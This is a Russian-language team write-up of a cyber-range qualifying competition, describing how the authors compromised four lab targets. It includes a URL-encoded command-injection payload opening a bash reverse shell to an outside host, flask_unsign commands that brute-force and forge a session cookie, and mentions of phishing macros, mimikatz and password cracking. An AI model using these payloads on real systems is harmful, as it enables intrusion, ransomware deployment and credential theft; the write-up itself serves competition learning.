I. Разбор недопустимых событий с отборочных на Международные игры
Вступление
Всем привет!
Сегодня закончились отборочные на Международные игры по кибербезопасности, финал которых пройдет 30-31 октября. По результатам соревнований нам удалось войти в число команд, реализовавших все недопустимые события и уязвимости, заложенные на полигоне.
И пока мы усердно готовимся к финалу, предлагаю вашему первую часть разбора реализованных нами недопустимых событий. Приятного прочтения!
Разведка
В начале соревнований нам был предоставлен скоуп — диапазон адресов с которыми мы можем работать. Начинается все со сканирования — первым делом мы провели icmp-сканирование с целью выявить "живые" хосты в рамках скоупа:
nmap -sn 10.124.249.0/27 -oN active_hosts
После чего запустили агрессивное сканирование хостов внешнего периметра:
nmap -A -iL active_hosts -oN external_scan
В результате получили следующую табличку:
1. Дефейс информационного портала
Нашей первой жертвой стал портал city.standalone.stf с задачей выполнить дефейс – несанкционированное изменение главной страницы сайта.
Сканирование показало открытый 80 порт, на котором нас ждал лендинг:
В сурс коде мы нашли информацию об используемом Bludut-3.9.2:
Далее мы воспользовались фреймворком Metasploit и получили удаленное выполнение кода на сервере:
Чуть позднее обнаружили cap на python3.9 и зарутили тачку:
Ну и, наконец, сам дефейс. Недопустимое событие реализовано.
2. Захват информационного портала
Следующей целью стал портал tube.standalone.stf с задачей запустить на нем вирус-шифровальщик от имени пользователя root:
Сканирование вновь показала открытый 80 порт и мы вновь начали с изучения лендинга:
Беглое изучение сурсов привело нас на путь /api/getDate.php
Любому опытному веберу уже наверняка очевиден вектор – у нас тут RCE на блюдечке:
http://10.124.249.7/api/getTime.php?format=%25B%20%25d%2c%20%25Y%3b%24(id)|echo%20mmxy2159y9%20tgodln8uzu||a%20%23%27%20|%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.127.236.244%2f3334%200%3E%261||a%20%23|%22%20|echo%20mmxy2159y9%20tgodln8uzu||a%20%23
После получения реверс-шелла и спустя несколько дней перечисления ресурсов системы нам удалось выполнить повышение привилегий при помощи Looney Tunables, эксплуатирующего уязвимость в загрузчике glibc:
Ну и далее дело оставалось за малым – загрузить и запустить шифровальщик:
3. Несанкционированный доступ к исследовательским данным
Плавно перемещаемся к следующему риску, на этот раз на ресурсе rnd.standalone.stf.
После регистрации и логина получаем доступ к функционалу смены пароля и недоступную для нас вкладку Researches.
Из интересного – какая-то сессионная кука session:
Которая шустренько сбрутилась по словарю:
┌──(kali㉿kali)-[~/vskb] └─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJwdzkGuAjEIANC7dO2iQIHWy0wKlGhMNJnR1c-_uxN3b_n-ypb7Om7l-t4_61K2e5RrIbHZ0dMIQIcnnUKWdBPw7Mg5oy1NNgRV6yQjUebwOTCahkPtylObdkYJGj2gJoNUbxa4gJm6NkgWS4lQx8y1CAgbVvNyRj7H2n8baXopfuy5vV-P9Tx7Bo5VYuLAPkgTA6hXNTPVNtXGucImWv6_AfM-wA.Zu48cQ.PbC6DOitU7WFJg04BWp2vzNavoo' --no-literal-eval [*] Session decodes to: {'_fresh': True, '_id': '36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc', '_user_id': 647, 'csrf_token': 'b1c206da2928937f2d13807bbb774a7b92172467'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 897024 attemptsyr! b'key
Далее переподписываем куку с известным нам ключом:
python3 -m flask_unsign --secret 'key' --sign --cookie "{'_fresh': True, '_id': '36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc', '_user_id': 1, 'csrf_token': 'b1c206da2928937f2d13807bbb774a7b92172467'}"
И получаем доступ к панели админа и вкладке Researchers.
В истории версий одной из статьей находим ответ к заданию, тем самым реализуя это недопустимое событие:
4. Утечка конфиденциальной информации
Последним событием в рамках сегодняшней статьи рассмотрим утечку конфиденциальной информации с компьютера финансового директора компании.
Единственное задание на инфраструктуру в рамках данного ивента, приступим =)
Первым делом в ходе разведки мы собрали пару почтовых адресов HR-сотрудников с сайта: [email protected] и [email protected]. Затем подготовили и отправили фишинговое письмо с встроенным reverse-shell макросом:
В результате получили реверс-шеллы с обоих хостов:
Далее мы пробросили meterpreter шелл и при помощи mimikatz сдампили пару паролей:
Проверив полученную учетку мы убедились, что нашли админа...
Продолжаем разведку, при помощи утилиты ldapdomaindump мы собрали информацию о хостах в домене:
И открыли для себя наличие трастового домена sun.hte.stf, по этой причине наш админ и не оказался админом на втором хосте:
Путешествуя по хостам, на одном из них была найдена база данных keepass – лакомый кусочек. Мы скрутили его при помощи john the ripper
Внутри нашли пачку паролей, как раз админы домена sun.hte.stf – то что нужно!
Падаем на RDP финансового директора и реализуем недопустимое событие
Заключение
На сегодня это все, в следующем материале разберем оставшиеся 3 недопустимых события – поломаем википедию, курьерскую службу и...казино! До встречи =)